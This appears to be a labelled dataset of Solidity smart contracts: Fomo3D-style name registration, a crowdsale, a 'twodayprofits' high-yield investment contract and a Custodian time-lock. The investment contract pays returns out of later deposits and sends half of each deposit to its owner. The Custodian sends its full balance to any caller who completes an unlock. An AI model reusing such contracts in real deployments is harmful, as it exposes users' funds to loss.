function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyCommunity()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
onlyCommunity()
public
{
registrationFee_ = _fee;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,220 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.2;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
pragma solidity ^0.5.2;
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
pragma solidity ^0.5.2;
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
pragma solidity ^0.5.2;
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime);
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
function _extendTime(uint256 newClosingTime) internal {
require(!hasClosed());
require(newClosingTime > _closingTime);
emit TimedCrowdsaleExtended(_closingTime, newClosingTime);
_closingTime = newClosingTime;
}
}
pragma solidity ^0.5.2;
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function capReached() public view returns (bool) {
return weiRaised() >= _cap;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
super._preValidatePurchase(beneficiary, weiAmount);
require(weiRaised().add(weiAmount) <= _cap);
}
}
pragma solidity ^0.5.2;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.2;
contract WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () internal {
_addWhitelistAdmin(msg.sender);
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(msg.sender));
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(msg.sender);
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
pragma solidity ^0.5.2;
contract WhitelistedRole is WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistedAdded(address indexed account);
event WhitelistedRemoved(address indexed account);
Roles.Role private _whitelisteds;
modifier onlyWhitelisted() {
require(isWhitelisted(msg.sender));
_;
}
function isWhitelisted(address account) public view returns (bool) {
return _whitelisteds.has(account);
}
function addWhitelisted(address account) public onlyWhitelistAdmin {
_addWhitelisted(account);
}
function removeWhitelisted(address account) public onlyWhitelistAdmin {
_removeWhitelisted(account);
}
function renounceWhitelisted() public {
_removeWhitelisted(msg.sender);
}
function _addWhitelisted(address account) internal {
_whitelisteds.add(account);
emit WhitelistedAdded(account);
}
function _removeWhitelisted(address account) internal {
_whitelisteds.remove(account);
emit WhitelistedRemoved(account);
}
}
pragma solidity ^0.5.2;
contract WhitelistCrowdsale is WhitelistedRole, Crowdsale {
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view {
require(isWhitelisted(_beneficiary));
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.2;
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.2;
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
require(ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
pragma solidity ^0.5.2;
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized();
constructor () internal {
_finalized = false;
}
function finalized() public view returns (bool) {
return _finalized;
}
function finalize() public {
require(!_finalized);
require(hasClosed());
_finalized = true;
_finalization();
emit CrowdsaleFinalized();
}
function _finalization() internal {
}
}
pragma solidity ^0.5.2;
contract Secondary {
address private _primary;
event PrimaryTransferred(
address recipient
);
constructor () internal {
_primary = msg.sender;
emit PrimaryTransferred(_primary);
}
modifier onlyPrimary() {
require(msg.sender == _primary);
_;
}
function primary() public view returns (address) {
return _primary;
}
function transferPrimary(address recipient) public onlyPrimary {
require(recipient != address(0));
_primary = recipient;
emit PrimaryTransferred(_primary);
}
}
pragma solidity ^0.5.2;
contract Escrow is Secondary {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
function deposit(address payee) public onlyPrimary payable {
uint256 amount = msg.value;
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
function withdraw(address payable payee) public onlyPrimary {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.transfer(payment);
emit Withdrawn(payee, payment);
}
}
pragma solidity ^0.5.2;
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address payee) public view returns (bool);
function withdraw(address payable payee) public {
require(withdrawalAllowed(payee));
super.withdraw(payee);
}
}
pragma solidity ^0.5.2;
contract RefundEscrow is ConditionalEscrow {
enum State { Active, Refunding, Closed }
event RefundsClosed();
event RefundsEnabled();
State private _state;
address payable private _beneficiary;
constructor (address payable beneficiary) public {
require(beneficiary != address(0));
_beneficiary = beneficiary;
_state = State.Active;
}
function state() public view returns (State) {
return _state;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function deposit(address refundee) public payable {
require(_state == State.Active);
super.deposit(refundee);
}
function close() public onlyPrimary {
require(_state == State.Active);
_state = State.Closed;
emit RefundsClosed();
}
function enableRefunds() public onlyPrimary {
require(_state == State.Active);
_state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(_state == State.Closed);
_beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address) public view returns (bool) {
return _state == State.Refunding;
}
}
pragma solidity ^0.5.2;
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 private _goal;
RefundEscrow private _escrow;
constructor (uint256 goal) public {
require(goal > 0);
_escrow = new RefundEscrow(wallet());
_goal = goal;
}
function goal() public view returns (uint256) {
return _goal;
}
function claimRefund(address payable refundee) public {
require(finalized());
require(!goalReached());
_escrow.withdraw(refundee);
}
function goalReached() public view returns (bool) {
return weiRaised() >= _goal;
}
function _finalization() internal {
if (goalReached()) {
_escrow.close();
_escrow.beneficiaryWithdraw();
} else {
_escrow.enableRefunds();
}
super._finalization();
}
function _forwardFunds() internal {
_escrow.deposit.value(msg.value)(msg.sender);
}
}
pragma solidity ^0.5.2;
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
function withdrawTokens(address beneficiary) public {
require(hasClosed());
uint256 amount = _balances[beneficiary];
require(amount > 0);
_balances[beneficiary] = 0;
_deliverTokens(beneficiary, amount);
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_balances[beneficiary] = _balances[beneficiary].add(tokenAmount);
}
}
pragma solidity ^0.5.2;
contract RefundablePostDeliveryCrowdsale is RefundableCrowdsale, PostDeliveryCrowdsale {
function withdrawTokens(address beneficiary) public {
require(finalized());
require(goalReached());
super.withdrawTokens(beneficiary);
}
}
pragma solidity 0.5.2;
contract ClcgCrowdsale is Crowdsale, TimedCrowdsale, CappedCrowdsale, WhitelistCrowdsale, MintedCrowdsale, RefundableCrowdsale, RefundablePostDeliveryCrowdsale{
constructor(uint256 _rate, address payable _wallet, ERC20 _token, uint256 _openingTime, uint256 _closingTime, uint256 _hardCap, uint256 _softCap)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
CappedCrowdsale(_hardCap)
RefundableCrowdsale(_softCap)
public
{
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view {
require(_weiAmount >= 40000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
tokenAmount = (tokenAmount * cap()) / weiRaised();
super._deliverTokens(beneficiary, tokenAmount);
}
} | 1 | 3,907 |
pragma solidity ^0.4.24;
contract twodayprofits{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 50;
address public ownerWallet;
address public owner;
address public bountyManager;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(50));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,262 |
pragma solidity ^0.4.21;
contract Custodian {
struct Request {
bytes32 lockId;
bytes4 callbackSelector;
address callbackAddress;
uint256 idx;
uint256 timestamp;
bool extended;
}
event Requested(
bytes32 _lockId,
address _callbackAddress,
bytes4 _callbackSelector,
uint256 _nonce,
address _whitelistedAddress,
bytes32 _requestMsgHash,
uint256 _timeLockExpiry
);
event TimeLocked(
uint256 _timeLockExpiry,
bytes32 _requestMsgHash
);
event Completed(
bytes32 _lockId,
bytes32 _requestMsgHash,
address _signer1,
address _signer2
);
event Failed(
bytes32 _lockId,
bytes32 _requestMsgHash,
address _signer1,
address _signer2
);
event TimeLockExtended(
uint256 _timeLockExpiry,
bytes32 _requestMsgHash
);
uint256 public requestCount;
mapping (address => bool) public signerSet;
mapping (bytes32 => Request) public requestMap;
mapping (address => mapping (bytes4 => uint256)) public lastCompletedIdxs;
uint256 public defaultTimeLock;
uint256 public extendedTimeLock;
address public primary;
function Custodian(
address[] _signers,
uint256 _defaultTimeLock,
uint256 _extendedTimeLock,
address _primary
)
public
{
require(_signers.length >= 2);
require(_defaultTimeLock <= _extendedTimeLock);
defaultTimeLock = _defaultTimeLock;
extendedTimeLock = _extendedTimeLock;
primary = _primary;
requestCount = 0;
for (uint i = 0; i < _signers.length; i++) {
require(_signers[i] != address(0) && !signerSet[_signers[i]]);
signerSet[_signers[i]] = true;
}
}
modifier onlyPrimary {
require(msg.sender == primary);
_;
}
function requestUnlock(
bytes32 _lockId,
address _callbackAddress,
bytes4 _callbackSelector,
address _whitelistedAddress
)
public
payable
returns (bytes32 requestMsgHash)
{
require(msg.sender == primary || msg.value >= 1 ether);
require(_callbackAddress != address(0));
uint256 requestIdx = ++requestCount;
uint256 nonce = uint256(keccak256(block.blockhash(block.number - 1), address(this), requestIdx));
requestMsgHash = keccak256(nonce, _whitelistedAddress, uint256(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF));
requestMap[requestMsgHash] = Request({
lockId: _lockId,
callbackSelector: _callbackSelector,
callbackAddress: _callbackAddress,
idx: requestIdx,
timestamp: block.timestamp,
extended: false
});
uint256 timeLockExpiry = block.timestamp;
if (msg.sender == primary) {
timeLockExpiry += defaultTimeLock;
} else {
timeLockExpiry += extendedTimeLock;
requestMap[requestMsgHash].extended = true;
}
emit Requested(_lockId, _callbackAddress, _callbackSelector, nonce, _whitelistedAddress, requestMsgHash, timeLockExpiry);
}
function completeUnlock(
bytes32 _requestMsgHash,
uint8 _recoveryByte1, bytes32 _ecdsaR1, bytes32 _ecdsaS1,
uint8 _recoveryByte2, bytes32 _ecdsaR2, bytes32 _ecdsaS2
)
public
returns (bool success)
{
Request storage request = requestMap[_requestMsgHash];
bytes32 lockId = request.lockId;
address callbackAddress = request.callbackAddress;
bytes4 callbackSelector = request.callbackSelector;
require(callbackAddress != address(0));
require(request.idx > lastCompletedIdxs[callbackAddress][callbackSelector]);
address signer1 = ecrecover(_requestMsgHash, _recoveryByte1, _ecdsaR1, _ecdsaS1);
require(signerSet[signer1]);
address signer2 = ecrecover(_requestMsgHash, _recoveryByte2, _ecdsaR2, _ecdsaS2);
require(signerSet[signer2]);
require(signer1 != signer2);
if (request.extended && ((block.timestamp - request.timestamp) < extendedTimeLock)) {
emit TimeLocked(request.timestamp + extendedTimeLock, _requestMsgHash);
return false;
} else if ((block.timestamp - request.timestamp) < defaultTimeLock) {
emit TimeLocked(request.timestamp + defaultTimeLock, _requestMsgHash);
return false;
} else {
if (address(this).balance > 0) {
success = msg.sender.send(address(this).balance);
}
lastCompletedIdxs[callbackAddress][callbackSelector] = request.idx;
delete requestMap[_requestMsgHash];
success = callbackAddress.call(callbackSelector, lockId);
if (success) {
emit Completed(lockId, _requestMsgHash, signer1, signer2);
} else {
emit Failed(lockId, _requestMsgHash, signer1, signer2);
}
}
}
function deleteUncompletableRequest(bytes32 _requestMsgHash) public {
Request storage request = requestMap[_requestMsgHash];
uint256 idx = request.idx;
require(0 < idx && idx < lastCompletedIdxs[request.callbackAddress][request.callbackSelector]);
delete requestMap[_requestMsgHash];
}
function extendRequestTimeLock(bytes32 _requestMsgHash) public onlyPrimary {
Request storage request = requestMap[_requestMsgHash];
require(request.callbackAddress != address(0));
require(request.extended != true);
request.extended = true;
emit TimeLockExtended(request.timestamp + extendedTimeLock, _requestMsgHash);
}
} | 0 | 223 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
constructor() public { owner = msg.sender; }
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.24;
contract FactoryTokenInterface is Ownable {
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function mint(address _to, uint256 _amount) public returns (bool);
function burnFrom(address _from, uint256 _value) public;
}
pragma solidity ^0.4.24;
contract TokenFactoryInterface {
function create(string _name, string _symbol) public returns (FactoryTokenInterface);
}
pragma solidity ^0.4.24;
contract ZapCoordinatorInterface is Ownable {
function addImmutableContract(string contractName, address newAddress) external;
function updateContract(string contractName, address newAddress) external;
function getContractName(uint index) public view returns (string);
function getContract(string contractName) public view returns (address);
function updateAllDependencies() external;
}
pragma solidity ^0.4.24;
contract BondageInterface {
function bond(address, bytes32, uint256) external returns(uint256);
function unbond(address, bytes32, uint256) external returns (uint256);
function delegateBond(address, address, bytes32, uint256) external returns(uint256);
function escrowDots(address, address, bytes32, uint256) external returns (bool);
function releaseDots(address, address, bytes32, uint256) external returns (bool);
function returnDots(address, address, bytes32, uint256) external returns (bool success);
function calcZapForDots(address, bytes32, uint256) external view returns (uint256);
function currentCostOfDot(address, bytes32, uint256) public view returns (uint256);
function getDotsIssued(address, bytes32) public view returns (uint256);
function getBoundDots(address, address, bytes32) public view returns (uint256);
function getZapBound(address, bytes32) public view returns (uint256);
function dotLimit( address, bytes32) public view returns (uint256);
}
pragma solidity ^0.4.24;
contract CurrentCostInterface {
function _currentCostOfDot(address, bytes32, uint256) public view returns (uint256);
function _dotLimit(address, bytes32) public view returns (uint256);
function _costOfNDots(address, bytes32, uint256, uint256) public view returns (uint256);
}
pragma solidity ^0.4.24;
contract RegistryInterface {
function initiateProvider(uint256, bytes32) public returns (bool);
function initiateProviderCurve(bytes32, int256[], address) public returns (bool);
function setEndpointParams(bytes32, bytes32[]) public;
function getEndpointParams(address, bytes32) public view returns (bytes32[]);
function getProviderPublicKey(address) public view returns (uint256);
function getProviderTitle(address) public view returns (bytes32);
function setProviderParameter(bytes32, bytes) public;
function setProviderTitle(bytes32) public;
function clearEndpoint(bytes32) public;
function getProviderParameter(address, bytes32) public view returns (bytes);
function getAllProviderParams(address) public view returns (bytes32[]);
function getProviderCurveLength(address, bytes32) public view returns (uint256);
function getProviderCurve(address, bytes32) public view returns (int[]);
function isProviderInitiated(address) public view returns (bool);
function getAllOracles() external view returns (address[]);
function getProviderEndpoints(address) public view returns (bytes32[]);
function getEndpointBroker(address, bytes32) public view returns (address);
}
